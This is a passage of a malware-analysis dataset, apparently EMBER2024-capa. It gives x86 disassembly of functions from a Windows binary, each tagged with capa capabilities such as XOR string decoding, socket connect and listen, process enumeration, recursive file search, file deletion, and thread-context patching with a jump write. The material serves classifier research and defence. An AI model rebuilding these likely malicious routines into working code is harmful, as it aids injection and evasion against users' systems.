joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001190a
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
cmp dword [0x1002dfe0], 0
push esi
je 0x1001192e
mov eax, 0x2a77
mov ecx, 0x7a4
mov esi, 0x871
jmp 0x1001193d
mov eax, 0x33dc
mov ecx, 0x3648
mov esi, 0x1d8b
mov edx, dword [0x1002fbe8]
test edx, 0x300
jne 0x10011958
test dl, 0xd2
jne 0x10011958
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
jmp 0x1001195e
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], ecx
push 0xc
mov dword [ebp - 8], esi
call fcn.10011198
pop ecx
mov dword [ebp - 0x14], eax
test eax, eax
je 0x100119cf
push ebx
lea ebx, [ebp - 0x10]
push edi
mov esi, eax
sub ebx, eax
mov dword [ebp - 4], 3
mov edi, dword [ebx + esi]
call fcn.10013293
mov dword [ebp - 0x18], eax
test eax, eax
je 0x100119b9
push 0x104
lea ecx, [ebp - 0x224]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x18]
call fcn.100133d3
lea eax, [ebp - 0x224]
push eax
call fcn.10013723
pop ecx
mov dword [esi], eax
add esi, 4
dec dword [ebp - 4]
jne 0x10011980
mov eax, dword [ebp + 8]
pop edi
mov dword [eax], 3
mov eax, dword [ebp - 0x14]
pop ebx
pop esi
leave
ret

Function at 0x100119d2
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
push ebx
push esi
mov esi, eax
xor ebx, ebx
call fcn.10011551
test eax, eax
je 0x10011a99
push dword [ebp + 0xc]
push dword [esi]
call fcn.100117f0
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x10011a99
push 0x2cc
lea eax, [ebp - 0x2e0]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x2e0]
push eax
push dword [esi + 4]
mov dword [ebp - 0x2e0], 0x10002
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10011a99
mov eax, dword [ebp - 0x230]
mov edx, dword [ebp + 8]
and dword [ebp - 0x14], 0
mov dword [ebp - 0x10], eax
mov ecx, ebx
sub ecx, eax
sub ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x14]
push eax
push 0x40
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [esi]
lea ecx, [ecx + edx - 5]
mov byte [ebp - 0xc], 0xe9
mov dword [ebp - 0xb], ecx
mov dword [ebp - 4], 5
call dword [0x1002df18]
test eax, eax
js 0x10011a97
lea eax, [ebp - 4]
push eax
push 5
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x230]
push dword [esi]
call dword [0x1002df14]
test eax, eax
jns 0x10011a99
xor ebx, ebx
mov eax, dword [0x1002dd20]
test eax, eax
je 0x10011ab0
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
and dword [0x1002dd20], 0
mov eax, dword [0x1002dd24]
test eax, eax
je 0x10011acd
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xfffffffffffffffe
pop eax
mov esi, 0x1002dd24
call fcn.100111ae
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x10011ad3
Capabilities:
Resume thread

Disassembly:
push esi
push dword [eax + 4]
xor esi, esi
inc esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
jne 0x10011ae6
xor esi, esi
mov eax, esi
pop esi
ret
Function at 0x10012443
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
xor eax, eax
inc eax
push 6
push eax
push 2
mov dword [ebp - 8], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1001246b
or eax, 0xffffffff
jmp 0x100124f0
lea eax, [ebp - 8]
push eax
push 0x8004667e
push esi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
je 0x10012487
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x100124dd
xor eax, eax
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 2
stosd dword es:[edi], eax
pop eax
push dword [ebp + 8]
mov word [ebp - 0x18], ax
call dword [sym.imp.WS2_32.dll_htons]
and dword [ebp - 0x14], 0
push 4
mov word [ebp - 0x16], ax
lea eax, [ebp - 8]
push eax
push 4
push 0xffff
push esi
call dword [sym.imp.WS2_32.dll_setsockopt]
push 0x10
lea eax, [ebp - 0x18]
push eax
push esi
call dword [sym.imp.WS2_32.dll_bind]
test eax, eax
jne 0x100124dd
push 0x1f4
push esi
call dword [sym.imp.WS2_32.dll_listen]
test eax, eax
jns 0x100124ee
cmp esi, 0xffffffff
jbe 0x10012463
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x10012463
mov eax, esi
pop edi
pop esi
leave
ret

Function at 0x100124f4
Capabilities:
Connect socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
xor esi, esi
push 6
inc esi
push esi
push 2
mov dword [ebp - 4], esi
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
or eax, 0xffffffff
cmp ebx, eax
je 0x1001259e
cmp dword [ebp + 0x10], 0
jne 0x10012545
lea eax, [ebp - 4]
push eax
push 0x8004667e
push ebx
call dword [sym.imp.WS2_32.dll_ioctlsocket]
test eax, eax
je 0x10012545
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x10012545
and dword [eax], 0
xor eax, eax
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 2
stosd dword es:[edi], eax
pop eax
push dword [ebp + 0xc]
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
push 0x10
lea eax, [ebp - 0x14]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1001259c
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x10012593
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
push 0xfffffffffffffffe
pop eax
jmp 0x1001259e
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x1001259c
mov dword [eax], esi
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100126ea
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov dword [eax], ecx
mov dword [eax + 0x9c0], 1
push edi
mov edx, dword [eax + 0x9c0]
lea ecx, [eax + edx*4]
mov esi, dword [ecx - 4]
mov edi, esi
shr edi, 0x1e
xor edi, esi
imul edi, edi, 0x6c078965
add edi, edx
mov dword [ecx], edi
inc dword [eax + 0x9c0]
cmp dword [eax + 0x9c0], 0x270
jl 0x100126f8
pop edi
pop esi
ret
Function at 0x1001272a
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
cmp dword [ecx + 0x9c0], 0x270
jl 0x100127d6
push ebx
push esi
push edi
xor esi, esi
mov edi, bind
mov eax, dword [ecx + esi*4 + 4]
lea edx, [ecx + esi*4]
xor eax, dword [edx]
and eax, edi
xor eax, dword [edx]
mov ebx, eax
shr eax, 1
and ebx, 1
xor eax, dword [ebx*4 + 0x1002c274]
xor eax, dword [ecx + esi*4 + 0x634]
inc esi
mov dword [edx], eax
cmp esi, 0xe3
jl 0x10012744
jmp 0x10012798
mov eax, dword [ecx + esi*4 + 4]
lea edx, [ecx + esi*4]
xor eax, dword [edx]
and eax, edi
xor eax, dword [edx]
mov ebx, eax
shr eax, 1
and ebx, 1
xor eax, dword [ebx*4 + 0x1002c274]
xor eax, dword [ecx + esi*4 - 0x38c]
inc esi
mov dword [edx], eax
cmp esi, 0x26f
jl 0x10012773
mov eax, dword [ecx + 0x9bc]
xor eax, dword [ecx]
and eax, edi
xor eax, dword [ecx + 0x9bc]
pop edi
mov edx, eax
and edx, 1
mov edx, dword [edx*4 + 0x1002c274]
xor edx, dword [ecx + 0x630]
shr eax, 1
xor edx, eax
and dword [ecx + 0x9c0], 0
pop esi
mov dword [ecx + 0x9bc], edx
pop ebx
mov eax, dword [ecx + 0x9c0]
mov edx, dword [ecx + eax*4]
inc eax
mov dword [ecx + 0x9c0], eax
mov eax, edx
shr eax, 0xb
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
ret
Function at 0x10013293
Capabilities:
Encode data using xor

Disassembly:
push ebx
xor ebx, ebx
cmp dword [0x1002dac4], ebx
jne 0x100132c0
push esi
push 0x100264b8
mov esi, 0x36f5
call fcn.100111ef
pop ecx
mov dword [0x1002dac4], eax
pop esi
test eax, eax
jne 0x100132c0
mov eax, 0x1002dd28
pop ebx
ret
mov ecx, 0x36f4
mov eax, edi
cmp edi, ecx
jae 0x100132e9
mov edx, eax
and edx, 0x3f
mov dl, byte [edx + str.Zjt]
xor dl, byte [eax + 0x100264b8]
je 0x100132e5
inc eax
cmp eax, ecx
jb 0x100132cb
jmp 0x100132e9
sub eax, edi
mov ebx, eax
lea eax, [ebx + ebx + 2]
push eax
call fcn.10011198
pop ecx
test eax, eax
je 0x100132b9
xor ecx, ecx
test ebx, ebx
je 0x1001331e
lea edx, [ecx + edi]
and edx, 0x3f
mov dl, byte [edx + str.Zjt]
xor dl, byte [edi + ecx + 0x100264b8]
movsx dx, dl
mov word [eax + ecx*2], dx
inc ecx
cmp ecx, ebx
jb 0x100132fe
pop ebx
ret

Function at 0x10013320
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
mov ebx, eax
mov eax, dword [0x1002dac4]
push esi
test eax, eax
jne 0x10013355
push 0x100264b8
mov esi, 0x36f5
call fcn.100111ef
pop ecx
mov dword [0x1002dac4], eax
test eax, eax
jne 0x10013355
mov eax, 0x1002dd1e
jmp 0x100133ba
mov esi, 0x36f4
mov ecx, ebx
cmp ebx, esi
jae 0x1001337c
mov edx, ecx
and edx, 0x3f
mov dl, byte [edx + str.Zjt]
xor dl, byte [eax + ecx]
je 0x10013377
inc ecx
cmp ecx, esi
jb 0x10013360
jmp 0x1001337c
sub ecx, ebx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
inc eax
push eax
call fcn.10011198
pop ecx
test eax, eax
je 0x1001334e
xor edx, edx
cmp dword [ebp - 4], edx
jbe 0x100133ba
mov esi, dword [0x1002dac4]
push edi
mov edi, ebx
sub edi, eax
add esi, ebx
lea ecx, [eax + edx]
lea ebx, [edi + ecx]
and ebx, 0x3f
mov bl, byte [ebx + str.Zjt]
xor bl, byte [esi + edx]
inc edx
mov byte [ecx], bl
cmp edx, dword [ebp - 4]
jb 0x1001339f
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100133e8
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
jne 0x100133f6
or eax, 0xffffffff
pop ebp
ret
test esi, esi
jne 0x100133fe
push 0xfffffffffffffffe
jmp 0x10013443
push edi
push dword [ebp + 8]
xor eax, eax
mov edi, esi
stosd dword es:[edi], eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [esi], eax
pop edi
cmp eax, 0xffffffff
je 0x1001341a
xor eax, eax
inc eax
pop ebp
ret
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x1001342b
push 0xfffffffffffffffd
jmp 0x10013443
mov eax, dword [eax + 0xc]
test eax, eax
je 0x10013441
cmp dword [eax], 0
je 0x10013441
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [esi], eax
xor eax, eax
pop ebp
ret
push 0xfffffffffffffffc
pop eax
pop ebp
ret

Function at 0x10013492
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 8]
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x100134d0
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x100134ce
push dword [ebp + 0xc]
push esi
call fcn.100134d3
pop ecx
pop ecx
test eax, eax
jns 0x100134ce
push esi
call dword [0x1002dddc]
xor esi, esi
mov eax, esi
pop esi
pop ebp
ret
Function at 0x10013deb
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
push ebx
push esi
push edi
push dword [ebp + 8]
xor esi, esi
xor ebx, ebx
mov dword [ebp - 4], esi
call fcn.10013d35
mov edi, eax
pop ecx
cmp edi, esi
jne 0x10013e11
xor eax, eax
jmp 0x10013e60
push esi
lea eax, [ebp - 4]
push eax
push 0x400
lea eax, [ebp - 0x404]
push eax
push edi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10013e51
cmp dword [ebp - 4], esi
je 0x10013e57
push dword [ebp - 4]
lea eax, [ebp - 0x404]
push eax
mov eax, ebx
call fcn.10017030
pop ecx
pop ecx
mov ebx, eax
cmp dword [ebp - 4], esi
ja 0x10013e11
jmp 0x10013e57
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call dword [0x1002dddc]
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10013e65
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], ebx
call fcn.10013d35
mov edi, eax
pop ecx
cmp edi, ebx
je 0x10013ece
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
test esi, esi
je 0x10013eb9
lea eax, [esi + 1]
push eax
call fcn.10011198
mov ebx, eax
pop ecx
mov dword [ebp - 4], ebx
test ebx, ebx
je 0x10013eb9
lea eax, [ebp - 8]
push eax
push esi
push edi
call fcn.10013d9d
add esp, 0xc
test eax, eax
je 0x10013eb9
cmp dword [ebp - 8], esi
je 0x10013ed2
push edi
call dword [0x1002dddc]
test ebx, ebx
je 0x10013ece
xor eax, eax
lea esi, [ebp - 4]
call fcn.100111ae
xor eax, eax
jmp 0x10013ee8
mov eax, dword [ebp + 0xc]
mov byte [esi + ebx], 0
test eax, eax
je 0x10013edf
mov dword [eax], esi
push edi
call dword [0x1002dddc]
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10015213
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
push esi
and dword [ebp - 0x21c], 0
and dword [ebp - 0x20c], 0
push 0xc
push 0
lea eax, [ebp - 0x218]
push eax
call fcn.100112b0
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
push 0
push 0
push 0x1c
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0
je 0x1001526a
xor eax, eax
je 0x10015268
jmp 0x10015262
jmp 0x100152d1
push 0
push str.Packages
push 0x10020c48
lea eax, [ebp - 0x208]
push eax
call fcn.10013849
add esp, 0x10
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0
je 0x100152d1
xor eax, eax
je 0x1001529a
jmp 0x10015294
push 1
push 1
push 0
lea eax, [ebp - 0x218]
push eax
push 0x100151ad
push 5
push 1
push 0x1002dac8
push dword [ebp - 0x220]
call fcn.1001636f
add esp, 0x24
push 0xfffffffffffffffe
pop eax
lea esi, [ebp - 0x220]
call fcn.100111ae
lea eax, [ebp - 0x208]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0
je 0x100152fd
xor eax, eax
je 0x100152fb
jmp 0x100152f5
jmp 0x10015364
push 0
push str.LocalLow
push 0x10020c48
lea eax, [ebp - 0x208]
push eax
call fcn.10013849
add esp, 0x10
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0
je 0x10015364
xor eax, eax
je 0x1001532d
jmp 0x10015327
push 1
push 1
push 0
lea eax, [ebp - 0x218]
push eax
push 0x100151ad
push 5
push 1
push 0x1002dac8
push dword [ebp - 0x224]
call fcn.1001636f
add esp, 0x24
push 0xfffffffffffffffe
pop eax
lea esi, [ebp - 0x224]
call fcn.100111ae
push 1
push 1
push 0
lea eax, [ebp - 0x218]
push eax
push 0x100151ad
push 5
push 1
push 0x1002dac8
push 0x1002f57e
call fcn.1001636f
add esp, 0x24
push 0
push dword [0x1002dac8]
push 0x10020c48
push 0x1002e560
call fcn.10013849
add esp, 0x10
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0
je 0x100153d7
push dword [ebp - 0x20c]
lea eax, [ebp - 0x218]
push eax
call fcn.100150ef
pop ecx
pop ecx
push 0xfffffffffffffffe
pop eax
lea esi, [ebp - 0x20c]
call fcn.100111ae
xor eax, eax
je 0x100153dd
jmp 0x100153d7
cmp dword [ebp - 0x210], 0
je 0x100153f1
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x218]
mov dword [eax], ecx
mov eax, dword [ebp - 0x210]
pop esi
leave
ret
Function at 0x10015dbb
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, 0x5a4d
cmp word [edi], ax
jne 0x10015ddc
mov eax, dword [edi + 0x3c]
add eax, edi
mov ecx, 0x4550
cmp dword [eax], ecx
jne 0x10015ddc
add eax, 0x18
jmp 0x10015ddf
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x68]
add eax, edi
jne 0x10015de8
leave
ret
push ebx
push esi
mov esi, dword [eax + 0xc]
test esi, esi
je 0x10015e25
lea ebx, [eax + 0xc]
mov eax, dword [ebp + 8]
lea ecx, [esi + edi]
call fcn.10015d2f
test eax, eax
jne 0x10015e1c
test esi, esi
je 0x10015e25
mov esi, dword [ebx + 4]
add esi, edi
jmp 0x10015e16
cmp eax, dword [ebp + 0xc]
je 0x10015e2b
add esi, 4
mov eax, dword [esi]
test eax, eax
jne 0x10015e0e
add ebx, 0x14
mov esi, dword [ebx]
test esi, esi
jne 0x10015df4
xor eax, eax
pop esi
pop ebx
leave
ret
lea eax, [ebp - 4]
push eax
push 0x40
push 4
push esi
call dword [0x1002ddbc]
push 4
push esi
lea eax, [ebp + 0x10]
call fcn.10011255
pop ecx
pop ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push 4
push esi
call dword [0x1002ddbc]
xor eax, eax
inc eax
jmp 0x10015e27

Function at 0x100161c2
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push edi
push 0
push 2
call dword [0x1002de54]
mov edi, eax
or eax, 0xffffffff
cmp edi, eax
je 0x10016251
push esi
mov esi, 0x22c
push esi
lea eax, [ebp - 0x22c]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x22c]
push eax
push edi
mov dword [ebp - 0x22c], esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x1001621b
push edi
call dword [0x1002dddc]
push 0xfffffffffffffffe
pop eax
jmp 0x10016250
push dword [ebp + 0xc]
lea eax, [ebp - 0x22c]
push eax
call dword [ebp + 8]
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x10016242
lea eax, [ebp - 0x22c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1001621b
push edi
call dword [0x1002dddc]
xor eax, eax
test esi, esi
sete al
pop esi
pop edi
leave
ret
Function at 0x1001636f
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x25c
push ebx
push esi
push edi
xor esi, esi
push esi
push 0x10029e68
push dword [ebp + 8]
call fcn.10013849
add esp, 0xc
mov dword [esp + 0x14], eax
cmp eax, esi
je 0x100164ec
lea ecx, [esp + 0x18]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [esp + 0xc], eax
cmp eax, 0xffffffff
je 0x100164e0
mov ebx, dword [ebp + 0x14]
mov edi, dword [ebp + 0xc]
jmp 0x100163c0
xor esi, esi
cmp dword [ebp + 0x20], esi
je 0x100163da
push esi
push dword [ebp + 0x20]
call dword [0x1002df1c]
cmp eax, 0x102
jne 0x100164d6
cmp word [esp + 0x44], 0x2e
jne 0x10016400
cmp word [esp + 0x46], si
je 0x100164bf
cmp word [esp + 0x46], 0x2e
jne 0x10016400
cmp word [esp + 0x48], si
je 0x100164bf
mov eax, dword [esp + 0x18]
and eax, 0x10
je 0x1001640e
test bl, 2
jne 0x10016417
cmp eax, esi
jne 0x10016459
test bl, 4
je 0x10016459
cmp dword [ebp + 0x10], 0
jbe 0x10016459
push dword [edi + esi*4]
lea eax, [esp + 0x48]
push eax
call dword [0x1002de68]
test eax, eax
je 0x10016453
push dword [ebp + 0x1c]
lea eax, [esp + 0x1c]
push eax
push dword [ebp + 8]
call dword [ebp + 0x18]
add esp, 0xc
test eax, eax
je 0x10016459
cmp dword [ebp + 0x28], 0
je 0x10016453
push dword [ebp + 0x28]
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, dword [ebp + 0x10]
jb 0x1001641d
test byte [esp + 0x18], 0x10
je 0x100164bf
test bl, 1
je 0x100164bf
push 0
lea eax, [esp + 0x48]
push eax
push 0x10020c48
push dword [ebp + 8]
call fcn.10013849
add esp, 0x10
mov dword [esp + 0x10], eax
test eax, eax
je 0x100164bf
cmp dword [ebp + 0x24], 0
je 0x10016493
push dword [ebp + 0x24]
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp + 0x28]
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push ebx
push dword [ebp + 0x10]
push edi
push dword [esp + 0x30]
call fcn.1001636f
add esp, 0x24
push 0xfffffffffffffffe
pop eax
lea esi, [esp + 0x10]
call fcn.100111ae
lea eax, [esp + 0x18]
push eax
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x100163be
push dword [esp + 0xc]
call dword [0x1002dda0]
push 0xfffffffffffffffe
pop eax
lea esi, [esp + 0x14]
call fcn.100111ae
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100164f3
Capabilities:
Copy file
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
and dword [ebp - 4], 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push edi
push dword [ebp + 8]
call esi
test eax, eax
jne 0x1001657c
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call sub.msvcrt.dll_memset
push 1
mov eax, 0xf4240
mov ecx, 0x1002e99c
call fcn.1001280d
push eax
push edi
push str._S._06d
lea eax, [ebp - 0x20c]
push 0x207
push eax
call fcn.1001130f
add esp, 0x24
lea eax, [ebp - 0x20c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
je 0x10016576
push 0
push edi
push dword [ebp + 8]
call esi
test eax, eax
jne 0x1001657c
or dword [ebp - 4], 0xffffffff
jmp 0x10016585
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, dword [ebp - 4]
pop esi
leave
ret

Function at 0x1001658b
Capabilities:
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
push esi
push edi
mov edi, eax
push 0x80
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov esi, 0x200
push esi
lea eax, [ebp - 0x244]
push 0
push eax
call sub.msvcrt.dll_memset
push esi
lea eax, [ebp - 0x244]
push eax
push edi
call fcn.10013f25
add esp, 0x18
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x100165d9
xor eax, eax
inc eax
jmp 0x10016636
push 1
or eax, 0xffffffff
mov ecx, 0x1002e99c
call fcn.1001280d
push eax
push 0x10029e80
lea eax, [ebp - 0x44]
push 0x20
push eax
call fcn.1001130f
push 0
lea eax, [ebp - 0x44]
push eax
push str..2_
push 0
call fcn.10013849
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
je 0x10016634
push edi
mov edi, eax
call fcn.100164f3
pop ecx
mov edi, eax
push 0xfffffffffffffffe
pop eax
lea esi, [ebp - 4]
call fcn.100111ae
xor eax, eax
test edi, edi
setns al
jmp 0x10016636
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x1001663a
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop ebp
ret

Function at 0x10016652
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop ebp
ret
Function at 0x1001666a
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push esi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call sub.msvcrt.dll_memset
push 0x10
call fcn.10011198
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001670f
push edi
mov edi, 0x35fa
call fcn.10013293
mov dword [ebp - 4], eax
pop edi
test eax, eax
je 0x100166cd
push 0x207
lea ecx, [ebp - 0x20c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea eax, [ebp - 4]
call fcn.100133d3
push 0x1002f788
call fcn.10013723
mov dword [esi], eax
lea eax, [ebp - 0x20c]
push eax
call fcn.10013723
push 0x1002f57e
mov dword [esi + 4], eax
call fcn.10013723
push 0x1002e560
mov dword [esi + 8], eax
call fcn.10013723
add esp, 0x10
mov dword [esi + 0xc], eax
test ebx, ebx
je 0x1001670f
mov dword [ebx], 4
mov eax, esi
pop esi
leave
ret

Function at 0x10016714
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
xor ecx, ecx
push ebx
xor ebx, ebx
mov dword [ebp - 0xc], ecx
cmp dword [ebp + 0xc], ecx
jbe 0x100167ea
push esi
push edi
mov eax, dword [ebp + 0x14]
add eax, 0xfffffffc
cmp ecx, eax
jae 0x100167e8
xor esi, esi
xor edx, edx
mov eax, dword [ebp + 8]
mov al, byte [ebx + eax]
lea ecx, [ebp + edx - 4]
mov byte [ecx], al
cmp ebx, dword [ebp + 0xc]
jae 0x10016753
inc esi
jmp 0x10016756
mov byte [ecx], 0
inc ebx
inc edx
cmp edx, 3
jl 0x1001673f
test esi, esi
je 0x100167dc
movzx ecx, byte [ebp - 4]
movzx edx, byte [ebp - 3]
mov eax, ecx
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ebp - 8], al
and ecx, 3
mov eax, edx
shr eax, 4
shl ecx, 4
or eax, ecx
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ebp - 7], al
cmp esi, 1
jle 0x100167ac
movzx eax, byte [ebp - 2]
and edx, 0xf
shr eax, 6
shl edx, 2
or eax, edx
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ebp - 6], al
jmp 0x100167b0
mov byte [ebp - 6], 0x3d
cmp esi, 2
jle 0x100167c7
movzx eax, byte [ebp - 2]
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ebp - 5], al
jmp 0x100167cb
mov byte [ebp - 5], 0x3d
mov edi, dword [ebp - 0xc]
mov eax, dword [ebp + 0x10]
add dword [ebp - 0xc], 4
lea esi, [ebp - 8]
lea edi, [edi + eax]
movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0xc]
cmp ebx, dword [ebp + 0xc]
jb 0x1001672d
pop edi
pop esi
pop ebx
cmp ecx, dword [ebp + 0x14]
jae 0x100167f7
mov eax, dword [ebp + 0x10]
mov byte [ecx + eax], 0
mov eax, ecx
leave
ret